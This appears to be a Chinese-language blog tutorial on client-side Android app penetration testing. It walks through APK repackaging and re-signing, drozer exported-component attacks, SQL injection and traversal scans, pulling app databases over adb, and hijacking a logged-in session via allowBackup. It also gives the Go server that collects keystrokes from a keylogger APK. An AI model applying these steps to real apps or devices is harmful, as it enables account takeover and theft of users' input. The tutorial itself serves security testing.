app渗透测试 客户端篇

基本知识

平时安装的应用位置,里面主要是odex可运行文件
/data/app
系统应用位置(需要root权限),里面主要是odex可运行文件
/system/app
应用的数据相关的位置,里面包含一些配置,缓存信息
/data/data

重打包测试测试

测试流程

检测app是否检测签名,如果未检测签名可重打包篡改app的代码再次发布

首先准备2个工具,apktool.jar和signapk.jar,其次寻找签名需要的2个证书文件pk8和pem,可以直接生成我这里直接拿别人编译好的,github上随便搜索signapk的项目,找到的下面内容

https://github.com/sunshinelyz/mykit-android-signapk

获取了之后先看之前app的样子

为了明显目的是将程序未注册改为其他的显示

拿到apk,使用apktool进行反编译, -f为apk名称 -o为生成的文件夹名称

apktool d -f app-debug.apk -o app
或
java -jar apktool.jar d -f app-debug.apk -o app

此时我们当前路径下就多了app目录,打开他,目录结构如下,和使用jad和jre反编译不同,他没有dex文件,而是smali文件

我们再smali中找到程序未注册的字符位置,中文在smali中是以unicode编码的形式存储

将其修改,hijacking test

重新打包,此处-f参数为项目文件夹, -o 为生成的apk名称

apktool b -f app -o test.apk
或
java -jar apktool.jar -f app -o test.apk

此时还不够,需要进行签名

java -jar signapk.jar platform.x509.pem platform.pk8 test.apk test-final.apk

生成我们最终的test-final.apk

但是在安装时,会出现与已安装的应用签名不同,但这并不是说明程序进行了签名校验,只是安卓系统进行了版本更新的对比

将之前的程序删掉

再次安装成功

打开也成功修改了指定文本

防御方式

使用Native层代码验证代码的完整性,或者加壳

签名完整性测试

检测app是否是原本,还是被第三方重新打包的

测试流程
jarsigner -verify [apk路径]

显示未签名说明被第三方篡改重新打包了,显示已验证为完整的

检测证书情况

jarsigner -verify -verbose -certs [apk路径]

可导出组件测试

测试流程

该漏洞是因为该app组件未进行严格权限控制,导致任意app均可调用该组件导致危害

需要的工具为dorzer

导出的组件前提为,下列满足其一就可:

1.显示声明 android:exported="true"
2.未显示声明 android:exported="false" 组件不是	Content Provider 组件不包含 <intent-filter>
3.未显示声明 android:exported="false" 组件是	Content Provider api版本 < 17

首先选择目标,我在酷安上随便找了个应用

手机连接好电脑,分别启动dorzer

使用ls可用查看命令,首先查看有哪些包在运行

run app.package.list

有许多结果可以通过-f参数进行过滤,这里查看目标app的包名可以通过手机中 设置->更多应用->对应app->应用信息里面有应用包名

run app.package.list -f xxs

查看包信息

run app.package.info -a com.xxs.leon.xxs 

查看可攻击组件信息

run app.package.attacksurface com.xxs.leon.xxs

查看对应组件信息

run app.activity.info -a com.xxs.leon.xxs #查看activity组件
run app.broadcast.info -a com.xxs.leon.xxs #查看broadcast组件
run app.provider.info -a com.xxs.leon.xxs #查看provider组件
run app.service.info -a com.xxs.leon.xxs #查看service组件

那么接下来可以直接调用对应组件,实现绕过app本身逻辑直接请求组件,一般用于绕过登录之类的漏洞

实体机如果不灵光可以重启解决

run app.activity.start --component com.xxs.leon.xxs com.xxs.leon.xxs.ui.activity.WebActivity

广播模块攻击

run app.broadcast.send --action [组件路径] --extra string [输出的变量] [更改的值]

因为小小书app不太典型,因此使用dorzer官网自带的测试漏洞app

https://labs.f-secure.com/tools/drozer/

整个程序功能大致为输入密码后输出信息

启动server服务

run app.service.start --action com.mwr.example.sieve(包名) --component com.mwr.example.sieve(包名)  com.mwr.example.sieve.AuthService(组件名)

查看ContentProvider并找到url路径-a后接包名

run scanner.provider.finduris -a com.mwr.example.sieve

provider 组件可能存在客户端的sql注入和目录遍历的问题

#sql注入
run scanner.provider.injection -a com.mwr.example.sieve
#目录遍历
run scanner.provider.traversal -a com.mwr.example.sieve

敏感文件泄露

一般敏感的文件有sqlite的数据库文件,xml文件,logcat日志内容

使用root权限的adb,前往程序app的文件夹下(路径可通过drozer去查看)

adb root
adb shell
cd xxx/xxx/xxx

sqlite文件一般在databases下面

可以看到存在database.db的文件,可以通过find命令去查找

find /data/user/0/com.mwr.example.sieve -name *.db

回到pc的命令行,使用adb pull命令将db拷贝出来

adb pull /data/user/0/com.mwr.example.sieve/databases/database.db

用工具打开sqlite数据库文件

xml配置文件一般在shared_prefs下面

将其拷贝出来

adb pull /data/user/0/com.xxs.leon.xxs/shared_prefs

比如小小书的公告内容写在了配置中(这里应该是通过网络传输更新配置文件的)

Logcat 日志导出

adb shell logcat -d > 1.txt

使用文件编辑器全局搜索翻阅

静态资源备份打包

AllowBackup属性设置为true,则存在备份打包漏洞,使用原理如手机A某app登录了账号,该app的AllowBackup属性设置为true,此时在手机A上打包该app并导出,将导出的apk重新放入手机B中,手机B默认登录手机A中的账号

#连接手机A
adb kill-server
adb backup -nosystem -noshared -apk -f com.xxs.leon.xxs.ab com.xxs.leon.xxs

#连接手机B
adb kill-server
adb devices
adb restore com.xxs.leon.xxs.ab

准备手机A

手机B未登录

把小小书进行备份,并且将备份写入手机B

成功登陆

键盘记录漏洞

github项目

https://github.com/bshu2/Android-Keylogger

需要自己编译apk,自己编译时将apk的url路径改为自己的公网服务器地址

之后在服务器上启动server.go服务,这里需要改动下,将init内容写到main函数中,并且将包改为package main,端口号与apk中的修改的url地址相对应即可

package main

import (
	"io/ioutil"
	"fmt"
	"strings"
	"net/http"
)

var entries = []string{}

func init() {
	http.HandleFunc("/", handler)
	http.ListenAndServe(":5001", nil)
}

func handler(w http.ResponseWriter, r *http.Request) {
	switch r.Method {
	case "GET":
	    //serve the resource
	    fmt.Fprintf(w, "<table><tr><th>Timestamp</th><th>Action</th><th>Data</th></tr>")
	    for i, _ := range entries {
	    	fmt.Fprintf(w, "%s", entries[len(entries) - i - 1])
	    }
	    fmt.Fprintf(w, "</table>")
	case "POST":
	    //add entry
	    body, err := ioutil.ReadAll(r.Body)
	    if err != nil {
	    	fmt.Fprintf(w, err.Error())
		}
		entry := strings.SplitN(string(body), "|", 3)
		new_entry := fmt.Sprintf("<tr><td>%s</td><td>%s</td> <td>%s</td></tr>", entry[0], entry[1], entry[2])
	    entries = append(entries, new_entry)
	    if len(entries) > 100 {
	    	entries = entries[1:]
	    }
	    fmt.Fprintf(w, "POST\n")
	default:
	    //do nothing
	}
}

func main(){
	http.HandleFunc("/", handler)
	http.ListenAndServe(":5001", nil)
}

启动server

go run server.go

手机上启动app需要root权限,将app挂到后台

输入的记录,将发送到go语言启动的web服务器

以上操作需要root权限,并且很变态在于自定义键盘也可以获取输入内容

不需要root权限可使用专门记录键盘的app,相当于安装记录输入内容的输入法app,在测试对象没有使用自定义软键盘的情况下,调用该输入法app,则会存在输入内容被窃取记录的风险

屏幕截取漏洞

adb shell /system/bin/screencap -p /data/1.png 

从手机放入电脑
adb pull /data/1.png

posted @ 2021-03-11 15:04  sijidou  阅读(2689)  评论(2编辑  收藏  举报